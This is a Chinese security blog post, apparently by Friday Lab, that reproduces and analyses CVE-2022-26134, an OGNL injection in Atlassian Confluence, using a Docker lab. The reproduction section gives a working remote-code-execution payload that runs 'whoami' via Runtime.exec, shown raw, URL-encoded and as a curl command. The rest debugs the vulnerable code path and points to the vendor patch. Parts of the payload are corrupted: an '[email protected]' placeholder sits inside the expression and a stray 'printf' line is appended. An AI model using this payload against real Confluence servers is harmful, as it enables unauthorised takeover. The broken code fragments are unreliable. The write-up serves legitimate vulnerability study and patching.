CVE-2022-26134 Confluence OGNL漏洞复现

admin 2022年6月21日21:35:58评论1,225 views字数 5030阅读16分46秒阅读模式

星期五实验室

阅读须知

星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。


星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。




01

漏洞简介

CVE-2022-26134 Confluence OGNL漏洞复现


Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能,并支持用于构建企业WiKi的协同软件的服务器版本。
Atlassian Confluence Server 和 Data Center 存在注入漏洞。攻击者利用该漏洞执行任意代码。
以下产品及版本受到影响:
  • 1.3.0 版本至 7.4.17 之前版本
  • 7.13.0 版本至 7.13.7 之前版本
  • 7.14.0 版本至 7.14.3 之前版本
  • 7.15.0 版本至  7.15.2 之前版本
  • 7.16.0 版本至 7.16.4 之前版本
  • 7.17.0 版本至 7.17.4 之前版本
  • 7.18.0 版本至 7.18.1 之前版本




02

漏洞复现

CVE-2022-26134 Confluence OGNL漏洞复现
环境搭建

本文使用vulhub

https://github.com/vulhub/vulhub
 提供的docker进行复现,,需要预装docker以及docker-compose环境。


进入目录下执行命令:docker-compose up -d以启动docker环境。(经测试,由于CPU架构不同的原因,ARM版Macbook可能无法正常启用此docker,建议使用AMD64架构操作系统部署实验环境)


docker正常启动并稍等片刻后,访问 http://your-ip:8090/  出现如下页面:

CVE-2022-26134 Confluence OGNL漏洞复现


然后前往这个地址 

https://my.atlassian.com/license/evaluation

申请一个license(需要注册),选择Data Center。


CVE-2022-26134 Confluence OGNL漏洞复现

填入Server ID


CVE-2022-26134 Confluence OGNL漏洞复现


页面会生成一个License Key


CVE-2022-26134 Confluence OGNL漏洞复现


将license key黏贴到站点中点击next
选择第一个非集群(单节点)


CVE-2022-26134 Confluence OGNL漏洞复现


在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

CVE-2022-26134 Confluence OGNL漏洞复现

经过一段时间的加载之后,显示如下页面,我们选择Empty Site

CVE-2022-26134 Confluence OGNL漏洞复现


填写管理员账户信息

CVE-2022-26134 Confluence OGNL漏洞复现


安装成功

CVE-2022-26134 Confluence OGNL漏洞复现

CVE-2022-26134 Confluence OGNL漏洞复现



漏洞复现
构造一个OGNL表达式:
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}


然后将其URL编码
%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7Dprintf("hello world!");


将其拼接到URL中直接请求即可:
curl -v http://your-ip:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/


可以看到成功执行whoami并回显了执行结果

CVE-2022-26134 Confluence OGNL漏洞复现



漏洞断点调试分析环境搭建
docker操作
根据官方docker的描述
https://hub.docker.com/r/atlassian/confluence-server/


更改启动项JVM参数需要添加JVM_SUPPORT_RECOMMENDED_ARGS参数。因此要调试漏洞需要修改docker-compose.yml
在原来的docker-compose.yml中添加environment以及相关参数以让docker中的JVM以调试模式启动,并将调试端口暴露提供连接。
version: '2' services:   web:     image: vulhub/confluence:7.13.6     ports:       - "8090:8090"       - "3789:3789"     depends_on:       - db     environment:      - JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:3789"   db:     image: postgres:12.8-alpine     environment:     - POSTGRES_PASSWORD=postgres     - POSTGRES_DB=confluence


进入容器可以看到JVM进程被添加了开启调试模式的参数:

CVE-2022-26134 Confluence OGNL漏洞复现

接下来的操作和前面和前面 漏洞复现环境搭建 部分一样,访问页面,申请liscense,连接数据库,搭建站点,这里不再赘述。



本地操作
在docker宿主机上使用docker cp . 镜像id:/opt/atlassian/confluence命令将源代码从docker中复制到本地后使用IDEA打开。


在项目设置中将confluence/confluence/WEB-INF中的atlassian-bundled-pluginsatlassian-bundled-plugins-setuplib三个文件夹添加到Libraries

CVE-2022-26134 Confluence OGNL漏洞复现


编辑配置,添加一个远程JVM调试,填入之前修改的IP和端口

出现已连接到VM地址相关字样,随便下一处断点,断点上有个小勾即为成功。

CVE-2022-26134 Confluence OGNL漏洞复现




03

漏洞分析

CVE-2022-26134 Confluence OGNL漏洞复现

根据官方公告

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html


本次漏洞修复主要修改了xwork-1.0.3-atlassian-10.jar中的com.opensymphony.xwork.ActionChainResult#execute方法


/confluence/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar/com/opensymphony/webwork/dispatcher/ServletDispatcher.class第64行处下断点


客户端发起请求后,服务端先将其交给Tomcat的Filter处理,然后进入ServletDispatcher,这是一个Servlet分发器。

CVE-2022-26134 Confluence OGNL漏洞复现


然后经过一系列字符串处理后获取servletPath步骤

CVE-2022-26134 Confluence OGNL漏洞复现


获取到servletPath之后又来到断点处,该方法将servletPath通过如下五个函数分别获取对应值

  • getNameSpace
  • getActionName
  • getRequestMap
  • getSessionMap
  • getApplicationMap


本次漏洞发生在getNameSpace方法中,所以我们在/confluence/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar/com/opensymphony/webwork/dispatcher/ServletDispatcher.class第133行处下断点,继续运行并触发断点:

CVE-2022-26134 Confluence OGNL漏洞复现


该方法会截取字符串最后一个/之前的部分作为servletPath传入
CVE-2022-26134 Confluence OGNL漏洞复现


根据serviceAction方法,代理者会实例化execute()抽象类
CVE-2022-26134 Confluence OGNL漏洞复现


ctrl+右键跟一下execute,跟一下这个接口的调用
CVE-2022-26134 Confluence OGNL漏洞复现


发现其在com.opensymphony.xwork.DefaultActionProxy中实例化,并调用了execute方法
CVE-2022-26134 Confluence OGNL漏洞复现


看到xwork,分析过Struts2系列漏洞的同学们应该很熟悉了,这是一个框架,在本漏洞的作用就是用于执行OGNL表达式。

下一步会进入invoke方法
CVE-2022-26134 Confluence OGNL漏洞复现


invoke函数通过Next获取拦截器对象,并调用了实例化了intercept接口
CVE-2022-26134 Confluence OGNL漏洞复现


ctrl+右键跟一下intercept方法,查看他的第三个实现
CVE-2022-26134 Confluence OGNL漏洞复现

发现 com.opensymphony.xwork.interc
eptor.Aroundlnterceptorintercept方法调用了invoke方法来进行轮询
CVE-2022-26134 Confluence OGNL漏洞复现


再看interceptcom.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor中的实现:
CVE-2022-26134 Confluence OGNL漏洞复现

发现intercept做了两件事:
  1. 判断状态:判断容器是否正常启动
  2. 鉴权:循环判断当前的请求用户是否拥有访问这个action的权限,如果鉴权失败了就会返回一个notpermitted,并在将结果赋值给resultCode之后跳出循环。
CVE-2022-26134 Confluence OGNL漏洞复现


然后来到了com.opensymphony.xwork.ActionChainResultexcute函数中:
可以看到这里已经获取到了namespace的值,并在finalNamespace的赋值中调用了translateVariables
CVE-2022-26134 Confluence OGNL漏洞复现


接下来进入com.opensymphony.xwork.util.TextParseUtilVtranslateVariables方法,其中调用了findValue方法
CVE-2022-26134 Confluence OGNL漏洞复现


跟进
com.opensymphony.xwork.util.OgnlValueStackfindValue函数中会对OGNL表达式进行解析
CVE-2022-26134 Confluence OGNL漏洞复现


经过一系列OGNL表达式处理后,最终触发了OGNL表达式注入:
CVE-2022-26134 Confluence OGNL漏洞复现




04

漏洞修复

CVE-2022-26134 Confluence OGNL漏洞复现

请根据自身生产环境的版本,在官方修复方案
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

中选择合适的修复补丁。



参考链接:
https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-26134https://confluence.atlassian.com/doc/confluence-security-advisory-2022-02-1130377146.html





FRIDAY LAB

星期五实验室成立于2017年,汇集众多技术研究人员,在工业互联网安全前瞻技术研究方向上不断进取。星期五实验室由海内外知名高校的学院精英及来自于顶尖企业的行业专家组成,且大部分人员来自国际领先、国内知名的黑客战队——浙大AAA战队。作为木链科技专业的技术研发团队,星期五实验室凭借精湛的专业技术水平,为产品研发提供新思路、为行业技术革新探索新方向。
CVE-2022-26134 Confluence OGNL漏洞复现
CVE-2022-26134 Confluence OGNL漏洞复现
CVE-2022-26134 Confluence OGNL漏洞复现
CVE-2022-26134 Confluence OGNL漏洞复现
CVE-2022-26134 Confluence OGNL漏洞复现

扫二维码|关注我们

星期五实验室
FRIDAY LAB


原文始发于微信公众号(星期五实验室):CVE-2022-26134 Confluence OGNL漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月21日21:35:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-26134 Confluence OGNL漏洞复现http://cn-sec.com/archives/1132318.html

发表评论

匿名网友 填写信息